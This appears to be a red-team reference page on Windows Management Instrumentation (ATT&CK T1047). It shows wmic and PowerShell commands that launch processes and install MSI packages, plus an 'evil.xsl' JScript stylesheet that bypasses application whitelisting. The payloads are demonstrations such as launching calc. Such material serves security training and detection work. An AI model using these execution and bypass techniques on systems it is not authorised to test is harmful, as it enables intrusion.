WMI

MITRE ATT&CK™ Windows Management Instrumentation - Technique T1047

Theory

Windows Management Instrumentation (WMI) provides a standardized way for querying and managing various elements of a Windows operating system. It allow administrators to perform standard management tasks that attackers can abuse to perform code execution.

We can use WMI to execute binary, commands, msi, services, scheduled tasks or XSL file that contain javascript payload with WMIC.

Practice

Commands

Execute a local binary or a command using wmic.exe

wmic.exe process call create "C:\Windows\Temp\evil.exe"
wmic.exe process call create "cmd.exe /c calc.exe"

Or we may use powershell

#Execute a command remotely 
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

#Powershell v1+
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList $Command

#Powershell v3+
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{ CommandLine = $Command }

XSL

Another application whitelist bypassing technique discovered by Casey @subTee, similar to squiblydoo

Define the XSL file containing the jscript payload:

#evil.xsl
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>

Invoke wmic command and specify /format pointing to the evil.xsl:

wmic os get /FORMAT:"evil.xsl"

MSI

Install a msi package using wmic.exe

wmic product call install PackageLocation=c:\Windows\myinstaller.msi

Or we may use powershell

#Powershell v1+
Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","C:\Windows\myinstaller.msi")

#Powershell v3+
Invoke-CimMethod -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

You may want to check this page for remote WMI execution :

Remote WMI

Resources

TryHackMe | Cyber Security TrainingTryHackMe

Application Whitelisting Bypass with WMIC and XSLRed Team Notes